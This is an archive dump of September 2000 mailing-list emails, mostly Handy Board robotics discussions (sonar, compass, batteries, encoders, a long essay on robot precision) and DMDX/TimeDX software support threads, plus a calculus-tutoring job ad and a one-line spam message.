2000 18:09:04 +0000",Communication Protocol,"Hi everyone, I'm working on a project that implies the communication of the Handy-Board with a PC computer via the serial port. The person who is in charge of programming the software that will run on the PC asked me what is the communication protocol that is supported by the Handy Board, DTR or XON/XOFF (or both) ? I'm not too familiar with this, can anyone help me figure it out? Thanks, Frank Payen ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 15 Sep 2000 14:11:19 -0700",[DMDX] 2.1.00," There are new versions of TimeDX and DMDX on the website, both version 2.1.00. The changes to DMDX are inconsequential, largely compiler changes in that I'm now using the Direct 7 SDK. Machines with DirectX 5 installed should still function, however I am unable to test this as all my machines have Direct7 on them and reverting DirectX versions is difficult, if anyone gets an error please notify me -- in any event the psy1 website has DX7ENG.EXE on it. The switch to version 7 is brought about by one of the additions to TimeDX. TimeDX 2.1.00 rectifies the use of the refresh rate detection parameters in the time video mode command, changes the retrace rate determination code, adds the enhanced retrace rate test, deals with video drivers that buffer blits and flips, and fixes the tscope acid test ""was still drawing"" error. Basically these address issues only found on the lastest of CPUs with the latest of video cards, and even then and errors were only found in TimeDX's use of the retrace tracking routines, DMDX's use is nowhere near as intense. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Praise the sea; on shore remain. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 15 Sep 2000 14:14:58 -0700",[DMDX] Re: Time DX,"At 02:01 PM 9/15/00 -0700, you wrote: >I have recently (in the past 2 days) downloaded DMDX and TimeDX. In running >the initial tests on TimeDX my system is freezing on the Refresh screen. >This sometimes means a reboot of the entire system. Is this a problem with >my system (office 97) or with the program. I had no problem with the previous >versions. Hmmm, I vaguely remember that error, didn't think I released that code, oops. Well, try the latest (past 15 minutes) and if it still happens tell me. I can't quite recall what that error was as I'm still getting over the flu and while I'm quite capable of dealing with what is at hand changing tasks is difficult. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Praise the sea; on shore remain. ",0,0 George Musser Jr ,handyboard@media.mit.edu,"Fri, 15 Sep 2000 14:49:05 -0400",Pcode benchmark,"The pcode includes a benchmark primitive to see how well the multitasking environment is functioning. Does anyone know how to access this function? George Musser georgejr@musser.com _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. Share information about yourself, create your own public profile at http://profiles.msn.com. ",0,1 Mr Basile ,DMDX@psy1.psych.arizona.edu,"Sat, 16 Sep 2000 07:27:17 -0800",wonder Ephedra is kicking again,"but michelson on sombre and milord or avocet and toggle ",1,0 """Christopher R. Sears"" ",DMDX@psy1.psych.arizona.edu,"Sat, 16 Sep 2000 13:33:58 -0600",[DMDX] Re: 2.1.00," ""Jonathan C. Forster"" wrote: > There are new versions of TimeDX and DMDX on the website, both version > 2.1.00. The changes to DMDX are inconsequential, largely compiler changes > in that I'm now using the Direct 7 SDK. Machines with DirectX 5 installed > should still function, however I am unable to test this as all my machines > have Direct7 on them and reverting DirectX versions is difficult, if anyone > gets an error please notify me -- in any event the psy1 website has > DX7ENG.EXE on it. There does seem to be a problem with the new update when used with machines with DirectX 5 -- when using TimeDx, the keyboard is no longer recognized (""SetCooperativeFail""; ""The function called is not supported at this time""), nor is my mouse. Installing Direct X 7.0 made no difference: I still can't get the keyboard to be recognized in TimeDx (nor a mouse). Perhaps the problem is related to the fact that there are keys listed in the key list that few people would have on their keyboard (e.g. ""Webstop"", ""MyComputer"")? > The switch to version 7 is brought about by one of the > additions to TimeDX. TimeDX 2.1.00 rectifies the use of the refresh rate > detection parameters in the time video mode command, changes the retrace > rate determination code, adds the enhanced retrace rate test, deals with > video drivers that buffer blits and flips, and fixes the tscope acid test > ""was still drawing"" error. Basically these address issues only found on > the lastest of CPUs with the latest of video cards, and even then and > errors were only found in TimeDX's use of the retrace tracking routines, > DMDX's use is nowhere near as intense. > Thanks for the update. I downloaded and installed the previous version hours before the new version went online (my first experience with DmDx). I experienced all of the video problems you mention above, and all of them were fixed in the update! Talk about a coincidence! Now if I could get an input device to work again I would be in great shape :) -- Chris > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > Praise the sea; on shore remain. > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== -- ------------------------------------------------------------------------ Christopher R. Sears, Ph.D. Office: Admin 264 Department of Psychology Email: sears@ucalgary.ca University of Calgary Web: http://www.psych.ucalgary.ca 2500 University Drive N.W. Phone: (403) 220-2803 Calgary, Alberta, Canada FAX: (403) 282-8249 T2N 1N4 ",0,1 Jerry Normandin ,handyboard@media.mit.edu,"Sun, 17 Sep 2000 01:28:52 +0000",Sonar and Compass together on expansion board.," I am working in adapting a PNI compass to the handyboard. And I have a 6500 sonar board connected to the expansion board, here's my idea: Use a Lithium 3.6V battery to save calibration settings after poweroff M/S is jumper selectable Calibrate is Jumper Selectable Raw is jumper Selectable P/C goes to a data out port, that way we can either poll or go into continous mode. SDO goes to MISO SDI goes to MOSI SCK to SCLK Enable goes to a Data Out. NOW, to fix the shortage of Data Out I am going to use a few three to 8-decoders to increase my ""Enable"" lines. So we can get more lines that way, my IRPD that needs to fire off 8 Infrared LEDs needs ro tie up three + lines ( I don't now If I am going to use some logic to decode the state that all three lines are low to light the 1st LED, or use the next led port.. Don't know what is best yet. I thnk the clock that drives BINH won't be a problem because it's a blanking signal to the sonar, we just don't ping the sonar when we clock out data from the compass. And when we are done we disable the compass and start pinging again. Does this make sense, Am I looking at this right? Thanks! ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 16 Sep 2000 22:58:19 -0700",[DMDX] Re: 2.1.00,"At 01:33 PM 9/16/00 -0600, you wrote: > There does seem to be a problem with the new update when used with > machines >with DirectX 5 -- when using TimeDx, the keyboard is no longer recognized >(""SetCooperativeFail""; ""The function called is not supported at this time""), >nor is my mouse. Installing Direct X 7.0 made no difference: I still can't >get the keyboard to be recognized in TimeDx (nor a mouse). Perhaps the >problem >is related to the fact that there are keys listed in the key list that few >people would have on their keyboard (e.g. ""Webstop"", ""MyComputer"")? Shouldn't think extra keys would make a difference. Meaning you can't use the Input Test when Keyboard is highlighted and you press the test button? Doesn't do that on my machines and testing on Friday didn't turn up anything. How can you see the key list if you get a SetCooperativeFail message? Does the original code still work? If you don't have it the website still has a DMDX13something on it. Sounds like DirectInput is broken on your machine, SetCooperativeLevel is about as ancient as DirectX function calls get. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Everything put together, falls apart, sooner or later. ",0,0 Evtogo@aol.com,<>,"Sun, 17 Sep 2000 15:00:42 -0400",(no subject),"Hi, We are looking for part-time help entering calculus solutions for a new educational website. I hope that you will review the following ad and either follow up yourself or pass this along to someone you know who might be interested. Thank you, Chuck Grant CALCULUS SOLUTION AUTHORS Internet startup seeks work-at-home contractors to input solutions to first-year calculus problems that we provide. Creating the solutions involves ""teaching"" or ""tutoring"" how to do the problems by providing hints and asking helpful questions. We provide the format for inputting these solutions, which must be done in WORD 97 (or later) with Equation Editor 3.0. Qualifications: You must have experience teaching or tutoring in calculus. You must be able to break up a problem into the appropriate ""steps"" and write clear, concise explanations. You must be able to appreciate the context of a problem by reading the lesson that the problem is associated with, so that your solutions are pertinent to that particular lesson, and not use techniques taught later on. Good English skills are a MUST. Pay starts at $15 per hour. Long-term authors may receive stock options. You must be available for at least 6 months and want to work at least 15 hours per week (there is no maximum). Promotion to higher-paid editor or managing editor positions could occur quickly for suitable applicants. Please submit a brief resume showing math education and teaching/tutoring experience to p_hamati@hotmail.com. You will be sent a brief qualification test as the next step. ",0,0 """Christopher R. Sears"" ",DMDX@psy1.psych.arizona.edu,"Sun, 17 Sep 2000 17:08:42 -0600",[DMDX] Re: 2.1.00," ""j.c.f."" wrote: > At 01:33 PM 9/16/00 -0600, you wrote: > > > There does seem to be a problem with the new update when used with > > machines > >with DirectX 5 -- when using TimeDx, the keyboard is no longer recognized > >(""SetCooperativeFail""; ""The function called is not supported at this time""), > >nor is my mouse. Installing Direct X 7.0 made no difference: I still can't > >get the keyboard to be recognized in TimeDx (nor a mouse). Perhaps the > >problem > >is related to the fact that there are keys listed in the key list that few > >people would have on their keyboard (e.g. ""Webstop"", ""MyComputer"")? > > Shouldn't think extra keys would make a difference. Meaning you can't > use the Input Test when Keyboard is highlighted and you press the test > button? Doesn't do that on my machines and testing on Friday didn't turn > up anything. How can you see the key list if you get a SetCooperativeFail > message? Does the original code still work? If you don't have it the > website still has a DMDX13something on it. Sounds like DirectInput is > broken on your machine, SetCooperativeLevel is about as ancient as DirectX > function calls get. > When I use the Input Test for the keyboard I get a list of keys in the window below, and then immediately thereafter the error message I noted above (""SetCooperativeFail""; ""The function called is not supported at this time""). When I attempt to use the keyboard as an input device in a script I get the same error message. This error did not occur with the previous version of DMDX using DirectX 5.0. The reason I suspected it had something to do with the extra keys is that these keys were not listed in the input window in the previous version of DMDX. Perhaps I need to re-install DirectX 7.0, and/or the keyboard device driver, or perhaps this problem is just unique to my machine. In any event, I *can* get a gameport device to function, and the latest version of the program solves all of the video problems I was having with the previous version, so I am happy. -- Chris -- ------------------------------------------------------------------------ Christopher R. Sears, Ph.D. Office: Admin 264 Department of Psychology Email: sears@ucalgary.ca University of Calgary Web: http://www.psych.ucalgary.ca 2500 University Drive N.W. Phone: (403) 220-2803 Calgary, Alberta, Canada FAX: (403) 282-8249 T2N 1N4 ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 17 Sep 2000 18:33:24 -0700",[DMDX] Re: 2.1.00,"At 05:08 PM 9/17/00 -0600, you wrote: > When I use the Input Test for the keyboard I get a list of keys in > the window >below, and then immediately thereafter the error message I noted above >(""SetCooperativeFail""; ""The function called is not supported at this time""). Ok, makes sense, I enumerate the keys before acquiring the device. >When I attempt to use the keyboard as an input device in a script I get >the same >error message. This error did not occur with the previous version of DMDX >using >DirectX 5.0. The reason I suspected it had something to do with the extra >keys >is that these keys were not listed in the input window in the previous >version of >DMDX. Perhaps I need to re-install DirectX 7.0, and/or the keyboard device >driver, or perhaps this problem is just unique to my machine. In any event, I >*can* get a gameport device to function, and the latest version of the program >solves all of the video problems I was having with the previous version, >so I am >happy. Gameport devices are polled so it's a different code path. I suspect you may want to try re-installing DirectX 7 and generally perturbing the state of your machine by deleting interesting things in the device manager, like the keyboard, windows will re-detect it next time it boots. I have run TimeDX 2.1.00 on at least 4 quite different machines now and see no evidence of your problem -- but they're all '98 DX7 machines, maybe there's a '95 DX7 issue here. Anyone else tested 2.1.00 out yet? -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Everything put together, falls apart, sooner or later. ",0,0 Steve Stevens ,handyboard@media.mit.edu,"Mon, 18 Sep 2000 18:15:09 +0000",Hall Effect,"You are going to find that it is not the encoders as I thought also. The HB seems to be incapable of reading correctly. I don't know why, but I have been trying for about 3 months with no/or little success. Someone knows, but no one is telling. I have tried Hall effects, IR led's and reluctance pickups. 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Has anyone doubled up the NiCADS in paralled , put them in a deeper box and try that? I was wondering how that would work. Nickel Metal Hyride is just about the same charging specs as NiCAD. Perhaps a Nickel Metal Hydride 9.6 volt 3.4Amp camcorder battery??? To stretch battery life I moved my read_iprd code into my ping_sonar module, that way they never get hit at the same time. InfraRed LEDS suck current too. I turn them on 3 time in a row for a 1ms pulse but still If I do that while I ping the sonar, my Spazbot will shake the sensor array. The PWM signal to the servos or the power to the servos must be sagging. next time it gets the shakes I am going to throw my oscilloscope on it to see what's up. ",0,0 Brat Wizard ,Steve Stevens ,"Tue, 19 Sep 2000 00:11:04 -0400",Re: Hall Effect,"Steve Stevens wrote: > You are going to find that it is not the encoders as I thought also. The HB > seems to be incapable of reading correctly. I don't know why, but I have been > trying for about 3 months with no/or little success. Someone knows, but no > one is telling. I have tried Hall effects, IR led's and reluctance pickups. > It may do well for 4-5 rpm ,but no faster. I am now trying averaging. For > 14.95 you can a simple little bike computer that does what $300 can't do. Go > figure. Hello Steve- This isn't an answer really, just some ramblings from a fellow tinkerer.... its my experience that the more ""precision"" I try to introduce into my projects, the more trouble I have trying to get them to act in a ""precise"" way. In thinking through the problem, there seems to be a number of factors that aren't immediately apparent- why, for example, can one construct, say, a digital plotter that is easily capable of precise movements (even when constructed haphazardly!), when, using the same equipment, its very difficult to get a ""robot"" to move- even to within a few _inches_ - of a previously followed path??? I think the answers lie in the stuff that we don't know we're bringing to the table... for instance- when you construct a pen plotter, do you consider the fact that you aren't really ""moving"" much of anything? That the ""carriage"" is being positioned back and forth basically along two pre-fixed paths, who's intersection just happens to include the domain of the area in which we would like to plot...!? A useful side-effect to be sure, and yet, the motion of the carriage is essentially ""fixed""- in the sense that it can _only_ travel along its two sliding axis rails. The real ""precision"" factor in this case boils down to how ""precisely"" can one control the steppers and how much ""slop"" is tolerated in the various mechanical components (eg. the positioning actuators (often steel wires or similar), the assembly that rolls along the carriage-rails (often ball-bearing, or even simply a teflon sleeve wrapped around the rail), or the amount of ""wobble"" allowed at the point of the pen). Indeed, it would seem that the ""restricted nature"" of the design ensures at least a certain amount of ""precision"" no matter what. Even a crudely constructed device would be capable of producing output that is recognizable at worst! So, what's so different when we take essentially the same components and try to incorporate them into a robot? Why won't the robot ""move"" with the same level of precision... the answer is that it does! It does move with the same level of precision- you just changed the parameters of the problem- and so your comparion of what's ""precise"" is not accurate. Ok- so that's a hokey answer- I'll admit it- what does ""changing the parameters"" have to do with precision? The answer is that it changes the very basis of the relationship expressed by the term ""precision""- namely that of ""compared to what"". That is really the question- compared to what...? In the digital plotter setup above, the ""compared to what"" factors are- the fixed nature of the guide rails, the orbital ""resolution"" of the positioning motors, the tensioning (if any) in the guide cables (wires, ropes, whatever), the mechanical interplay between the carriage positioning assembly, and of course, the amount of ""wobbling"" the pen tip is allowed to have.... all these factors together are used to determine the ""precision"" of the device. Mobile robots, generally-speaking, do _not_ have ""fixed"" positioning rails- which is a major component of the plotter's ability to accurately repeat positioning movements. Another difference will probably be the way the device is propelled (not to mention steered). Wheels, treads, even legs all introduce ""slippage"" factors which may be randomly introduced in almost any given direction, sometimes even in multiple directions simultaneously. Certainly one can perform various types of vehicle analysis to determine the most likely points of ""slippage"" given a particular wheel, track, leg (or whatever propulsion) arrangement, and can design compensating features- but this does not totally account for all types of ""slippage"" (or other mechanical ""slop"" factors) that can (and will) affect the device. One incredibly good example here of how ""slippage"" can affect real-wold vehicles is the Airplane. Airplanes are absolutely dependent on their ability to produce lift and control their movement through vectoring of air pressure/flow (one way or another). If anything interferes with either (or both) of these two abilities a crash is very likely to result. Even though you may understand the physics, dynamics, and characteristics involved in flying an aircraft- it is impossible to predict every sort of air pressure, or turbulance conditions that (will) exist at any particular point in space- all the time. If it _were_ possible, we really wouldn't need pilots to fly the plane! You may say- we don't need pilots now, and that may be true- 99 times out of a 100. But I'll bet if you're on that 100th flight you would be very glad indeed the pilots were present to compensate for something that the aircraft designers couldn't possibly have forseen! You must also account for the inherent ""imprecision"" of the other components used in the robot (as compared to other similar components that could have been employed assuming they were cheap enough, small enough, efficient enough- etc- you have to keep the ""compared to what"" factor in mind all throughout the component selection and specification process). Of course, only a select few _really_ have the ability to shop with an unlimited budget, have NASA or JPL at their convenient disposal, and have the manufacturing capabilities to truly build whatever marvel may be needed. The rest of us have to deal with IN-precision. (Actually, so do NASA and JPL- its just a fact of life ;) So, basically, the problem becomes one of NOT how much precision can I afford- but instead- How can I deal with the inherent IMPRECISION that I am forced to accept? In my own life, I have found that when I'm banging my head against the wall, I'm generally looking at the problem all wrong. Because there is inherent imprecison in mobile robots, the real challenge becomes two-fold: A) How can I get as much precision as possible, given my (however) limited means, abilities, and ambitions, and B) How can I compensate for the imprecision that is left-over? IMO, the first part (A) is pretty much self-apparent: You do what you can with what you've got or can afford to buy, build, or create. Dealing with the second part (B) is where all the problems come in- ""the devil's in the details"" as they say ;) It might be useful at this point to take a look at humans for a moment- how do WE compensate for imprecision? We have SO darned many ways to make up for our deficiencies that it would take an incredible number of pages to list them all! For example, when you're trying to remember someone's name- do you go down the list of everyone you've ever met? I doubt it- I suspect instead you use some sort of temporal-associative ""hashing"" type function (to try to give the process a label) to arrive at the name and phone number of the ""girl- in- the- red- dress- you- met- last- week- at- the- party"". Likewise, when you walk across the room to pick up the phone to call her, you give not the slightest thought to ""getting to the phone"". How is it we so effortlessly pick our way through crowded (and sometimes dangerous) space to reach the goal we have set for ourselves? We are not built from such precise components. We don't (apparently) give any real thought to accomplishing the goal- and yet we do it so well.... or do we? How well do you suppose we would navigate the SAME room with our eyes closed? Even if we have ""known"" the room all of our lives we would probably still have problems- especially, if unbeknownst to us, someone had rearranged all the furniture... and yet- with our eyes open- even that wouldn't significantly hinder our progress to the phone. We might still make it- though if we do, we will have to ""concentrate"" very hard, using our other senses, and our memories (if possible) to fill in the gap(s), and employ other ""sensing"" techniques to figure out where we are relative to where we are going. But- the main thing to keep in mind here is that we are _consciously_ applying more ""thought-power"" to solving the problem ""manually"" (and probably pushing aside other ""thoughts"" to ""free up"" the ""processing ability"" to do it). This implies A) that the normal mechanism for accomplishing this supposedly simple thing is hidden from our normal ""awareness"" and B) is actually more sophisticated than we usually give it credit for. So here's an astute observation for you... Whatever it is that we do naturally as humans- the robots we build aren't doing it. ;) Personally, I think the way we ""do it"" is by utilizing a number of analysis proceedures. First, we have ""in mind"" the goal- reaching the phone. Second, we know (from experience perhaps) that in order to achieve the goal we must perform an action, namely to navigate from ""here to there"". Third, we ""scan the environment to ""take in"" the available routes and note possible obstacles. We also probably utilize prior-knowledge, when possible, of the environment to make ""predictions"" about the paths and obstacles, as well as recalling previously-encountered ""hidden"" or ""unseen"" problems. Finally, we use all this information to plan, plot, and implement a path to the goal while applying various course corrections along the way to account for obstacles or dangers, both planned and unplanned. It is really important to notice here that is is this analyse, strategize, improvise control system that enable us humans to cope with our inefficiencies so well. I think it is interesting to point out that humans seem to have a disproportionately-large amount of processing power devoted to A) Cataloging things, events, places, AND _sequences_. B) Recognizing things, events, places, and sequences. And C) Moving things (including ourselves) from one place to another utilizing the abilities presented by (A) and (B). Comparatively speaking, the remaining amount of ""brain-power"", devoted to the when and why is quite puny. We are temporal-spatial beings posessing the ability to manipulate our environment for a purpose, and we expect our ""robots"" to be also. In contrast to the digital plotter, people achieve ""positional-accuracy"" (aka ""precision"") through the use of ""feedback"" and re-calibration/re-registration [of the goal] while underway. So instead of being attached to ""fixed rails"" and using ultra-precise motors, gears, sliders, or what-have-you, our control mechanism is less-concerned with knowing _precisely_ where we are and instead is more concerned with knowing ""more or less"" _where we are headed_. A very UN-precise thing indeed. We don't generally pre-plan our routes to the centimeter, nor stand stalled awe-struck over the incredible multitude of potential paths and implementation strategies, we simply pick one and go with it. It may or may not be the best path to the solution; in fact, my own personal suspicion is that it usually isn't. Sometimes it gets us in trouble, but most of the time it does not. But, when we _do_ get into trouble, we simply push a new, more immediate goal onto our ""goal stack""- namely getting ourselves out of our present jam- until the situation is resolved _adequately_ (not necessarily perfectly!) to allow us to re-compute our path and re-acquire the goal. Here's another thing to consider- You invite a friend over to see your latest robotics project and he (or she, no offense to the ladies ;) asks you a simple question- ""How do I get there?"" What do _you_ do? You hand out directions! Simple enough- yet- consider what those directions really are- Unless you are the consumate gearhead (or flying the aforementioned aircraft ;) you probably DON'T say this: 1) Start at Longitude 76.216, Latitude 36.9202, oriented 54.76 degrees from True North 2) Travel 9,738.16 units (1-foot increments) in a straight line 3) Change heading to 86.18 degrees from True North 4) Travel 6,283 units (exactly) in a straight line 5) Change heading to 17.06 degrees from True North 6) Travel 14.3 units in a straight line 7) ... Even though these directions ARE precise, and even though they may be exactly correct- you _still_ probably don't give directions like this! (At least, I hope you never invite _me_ over with these directions! ;) You are much more likely to say: 1) Get to Highway 14 going West 2) Go about 2 miles until you come to 1st street 3) Hang a left on 1st street and go two blocks 4) My house is the third house on the left (its blue) 5) The address just in case you get lost is: ""105 Somewhere Street"" or call me at '555-1212' These are HUMAN-oriented directions, and they work just fine for us- and guess what? They are not even CLOSE to being precise. In fact, there are precious few precise elements in the above directions and yet _you_ would have an easier time following them than the previous set I think. So what are the salient elements of the second set of directions that make them easier to follow? The first point, I think, to consider is that the second set is ""interpreted"" by the recipient as opposed to being ""absolute and inflexible"". Interpretation allows imprecise information to be conveyed (possibly conveyed imprecisely as well) and yet still the correct, desired outcome is capable of being achieved. Let's pretend we have the problem licked- and are ""parsing"" the above list through our ""interpreter""- what might it key in on and what suppositions might it require in order to complete the task of following the directions? First of all, it is useful to note that the set of directions is actually a ""sequence"" of steps that are necessary to accomplish the goal. So let's use an obvious sequencing notation. Next, it might be interesting to notice the action(s) that are expected to be performed in the execution of the sequence. Then we would probably want to notice that there is key information presented to give us hints and clues regarding the parameters & bounds of that action. And finally, extraneous information that may help to resolve ambiguities. Seq-Step #1. [Get to] ( Highway 14, going West ) Seq-Step #2. [Go] ( about 2 miles ) until { [you come] ( to 1st street ) } Seq-Step #3. [Hang a left] (on 1st street ) [and go] ( two blocks ) Goal-Info-Tip: [ My house, is the third house, on the left, (its blue) ] Ambiguity-Resolution-Info: [ The address just in case you get lost is: ""105 Somewhere Street"", or call me at '555-1212' ] This, of course, is a rather simplistic view but adequate for our discussion- To follow the directions you must perform the following: ""Get to"", ""go-until"", ""hang a left"", ""go-until (implied)"". The rest of the list simply conveys the details of these operations. However, there is still much that must be pre-supposed in order to properly execute the sequence, and we'll not even worry about the problems of locomotion- The processor must also be able to _recognize_ when various conditions have been met, such as reaching 1st street, or counting houses until the count becomes three (not two, excepting that the count then becomes three, and the count may not continue to four, and five is right out! ;) This is the basis of ""way-point"" (Landmark-based) navigation which allows for a simpler control-command structure/syntax but requires that the processing elements interpret the instructions using ""pre-learned"" (canned) sequences of things, events, places and even other sequences. You might say you need ""sloppy"" processors to deal with ""sloppy"" instructions... (hmmm- this sounds like a job for Microsoft... ;) But you may say- all this is well and good- but something low-level _still_ needs to be able to ""sense"" information, calculate position, and recalibrate & realign the mission to the goal. And you would be correct. You still need sensors, you still need positioning information, you still need the ability to recognize details, and you still need the ability to make sense out of the data you receive. The difference though is instead of dealing with the low-level data directly, various intermediate ""sub-systems"" analyze, condense, shape, refine, associate and discriminate, or otherwise transmute (or likewise fold, spindle and mutilate) the data into a more ""meaningful"" (read: generally more abstracted) form that the ""sloppy"" processors can digest. The output of the ""sloppy"" processors is then directed back through the ""pipeline"" where it is reverse-transmuted (or whatever) into a form more suited to the low-level components (Most of this happens on a totally unconscious level in humans). Another useful (if not required) component is the ability to ""predict"" what the expected outcome of a particular action (in a sequence) should be, and to apply the predicted result to the actual result to obtain a correction factor. Many mobile robots already do this sort of processing, say, in their wheel-shaft encoders, counting pulses, or timing pulses, or something similar- if the pulses or time-value (or whatever) isn't within a pre-computed range, apply a correction factor. It is no different for the ""sloppy"" processor. It too must make predictions but on a more general level- such as if I turn left here, I will be on 2nd street, not 1st street. However, since I was on 3rd street previously and I'm now at 2nd street, it is likely that if I continue in this direction I will next come to 1st street, which is part of my goal-fullfillment list. ""Sloppy"" processors are concerned very little with the actual ""mechanical"" aspects of performing a task, they deal almost exclusively with the abstract components. Its primary obstacle is getting over-burdened by details- quite the opposite of the low-level system which needs all the details it can get! In my scenario here- the ""high-level"" (""sloppy"" processor) system is in charge of knowing ""why"", ""when"", and ""where"", while the low-level system is concerned with the ""how"". ""Are we there yet?"" At each step in the sequence- this is the condition that must be satisfied before the robot can proceed to the next step. Other sequences may have other conditions, such as ""Is it full yet?"" for refilling a gasoline tank, or ""Is it clean yet?"" for vacuuming your carpet, etc. Generally speaking (at least IMO), these types of conditions are ""high-level"" conditions- problems for the ""sloppy"" processors to worry about. Supplying (and transmuting) the information to test these conditions however is a low-level problem. So how many ""levels"" of processing are required? I dunno. That's what I'm trying to figure out myself. A few I suspect- perhaps more than a few. But as a general statement- I'd say the abstraction factor increases as information flows ""higher"" in the processing system. Where does the low-level end and the high-level start? I dunno that either- another thing I'd like to know myself ;) Maybe there isn't even a discrete number of ""levels"" at all- but simply various pathways that data can flow in order to be processed for whatever purpose its needed. Maybe processing elements are semi-dedicated towards a particular purpose (or class of purposes) but can be ""shanghied"" on an as-needed basis to do more general processing? I dunno. I've been pondering many types of control schemes for a long time and I don't have any concrete answers yet, just opinions and directions to ponder for further clues.... ;) I personally lean toward the idea that there are many ""agencies"" (like Minsky talks about) that each do some sort of fundamental data processing or transformation, that interact, perhaps intermittantly, to achieve a result. I also find it interesting that so many elements in our own human society are arranged, perhaps innocently, much like we ourselves may in fact be arranged-- our social circles, for example, are almost always hierarchical in nature- even if its a loosely formed hierarchy. Our businesses are almost always arranged in a hierarchal manner, our families are generally hierarchal, our friendships & allegiances, our governments, our militaries, our educational facilities are hierarchal, even our religions are very often hierarchical in nature. We naturally seem to form hiearchical structures which may, even accidently, reflect strong aspects of our own internal organization and processing abilities. Additionally, most of these same structures also exhibit the characteristics of a ""massively parallel"" machine, which, I'm betting, behaves in a manner remarkably similar to our own internal processes- on an abstract level at least. I strongly suspect that all this is no coincidence, but is a huge, neon-lit clue to our own internal workings- that we naturally gravitate into elements that reflect the way we work because that's how we intuitively understand to do things. Ok, I suppose this is akin to saying that a giraffe is more inclined to look up because it is not a horse. Who says behaviors and mannerisms aren't evolved in the same manner as other biological characteristics anyway? Behaviors that are beneficial increase the tendancy for survival and reproduction, behaviors that don't affect either are irrelevant...? You never see anything on Discover or TLC about that first giraffe on the sweltering african savanah that happened to look up for food one day instead of down. That, in and of itself, would have been the spark of an entire series of behaviors and mannerisms characteristic for animals that look up for food. This seems like such a simple idea when confronted with it- but it is something very subtle that few people actually take in consideration when they ponder the evolution of a thing- at least it seems to me so ;) While our bodies where busy evolving to fill a niche, our brains were busy evolving to support the body that fills the niche... a sort of bio-feedback-engineering I suppose. If you ever find yourself with a few million years to kill with nothing better to do- I suggest you give it a try- can have interesting results ;) ;) So ok- getting back on track (if indeed there was one...?) -- there's one big difference right there. Nature gets to play with ""billions and billions"" of neurons (processing elements) to get a job done. Since it has so darned many neurons to work with- its no big deal to allocate a few for this task or that task or whatever. It can even afford to allocate quite a few for some tasks. We, on the other hand, are not so lucky. Until Motorola produces the bionic MC68HC11 we're stuck with the old silicon version.... but that does NOT mean we're completely out of luck. There are lots of ways to increase processing power- and you can arrange your processors in lots of ways- even on-the-fly schemes can be incorporated if you really want. That in fact, may not be such a bad idea. So that, in an extreme instance, the type of data being processed ""configures"" the processor doing the processing. Von Neuman style processing can be so limiting. It really dampens ones thoughts to other ways of achieving results. You can use PIC processors- LOTS of Pic processors- PIC's are CHEAP CHEAP CHEAP CHEAP- did I mention they are CHEAP? They are little sequence-processors in a box. You tell 'em what to do- which pins to toggle when and under what circumstances, and toggle they will. They'll toggle their little hearts out. And, if you treat them really really nice- they might even let you re-program them on-the-fly so they can do other types of processing jobs as the situation dictates. PIC's are so cheap, you can afford to chew through them like popcorn. Another neat thing about PIC's is that they can support serial operations which makes hookup really really easy. You can have clusters of PICs working together to get a job done report to a more ""centralized"" PIC which concentrates the data and sends it upstream- even this can be serial- as by this time, you have had plenty of processing power to handle all sorts of low-level problems, all you really need to report is what happened and get new instructions, if any... so the PICs work together, much like the neuron-groups in our own biological brains- to accomplish simple, low-level tasks, and report them to (and be directed by) higher-level functions. Does this leave out MC68HC11's? Heck no. They're really useful for lots of things. It doesn't rule out other processors either. Feel free to mix and match (though kitbashing in an x86 involves less kit and more bashing). Processors are cheap. If you're not comfortable at the processor core level- _get_ comfortable- its where all the action is. The goal is to create a processing-machine that meets YOUR (or your projects) processing needs. It doesn't have to be one processor. You don't have to shoe-horn it all into one box. You can use additional bolt-on processors to handle specific tasks (useful for handling things that require lots of processing in a hurry- like navigation, recognition, or communication). And most of all you DON'T need precision! Precision to a point is useful, but after that continued insistance is moving your thoughts away from the real problem of designing an adequate control system to account for inaccuracies and errors. The more ""fault-tolerant"" the control system, the more flexible the resulting processing and control engine will be. If you're having problems getting enough precision- ignore it- find some other way of getting the job done- in all probability there are plenty of other ways that will work, you just need to rethink the problem and be open to creative solutions. Who cares if they are the most efficient, most cost-effective, prettiest, or most elegant- as long as they WORK- that's what counts- elegance will emerge on its own when its time. In short, instead of forcing the solution on the result set, try using the result set to derive the solution. Ok- enough rambling- go make robots ;) John Whitten brat@naxs.com -- +----------------------------------------------------------------------+ | ""I'll give up my modem when they pry it from my cold, dead fingers!"" | | John Whitten - brat@naxs.com http://www.wizard.org | +----------------------------------------------------------------------+ ",0,1 """John R. Edwards"" ",handyboard@media.mit.edu,"Tue, 19 Sep 2000 05:25:24 +0000",Re: Battery Power and handyboard.,"Jerry, I really haven't timed how long a battery charge lasts on the Handyboard but I did add a second 9.6v battery pack for the purpose of isolating the motor power from the logic circuit power. I did this to eliminate motor RF interference to the sensor readings. As a side effect my time between recharges has increased. I had to cut the motor power trace and ad a jumper to the expansion board to power the motors, expansion servos and lego ports. I see no reason why you couldn't just add another 9.6v battery pack in parallel to the original. In this way you would maintain the 9.6v input but effectively double your ampere hour capacity and your time between recharges. John Edwards ",0,0 John Hatton ,"""John R. Edwards"" ","Tue, 19 Sep 2000 09:34:22 +0100",Re: Battery Power and handyboard.,"I am currently using nickel hydride AA cells in two 4-cell battery boxes and so far during my construction and testing of the board they have not needed recharging yet. I didn't have access to a mains power supply most of the time, so after checking that the power circuits worked from the mains I used an external 8cell battery box for the 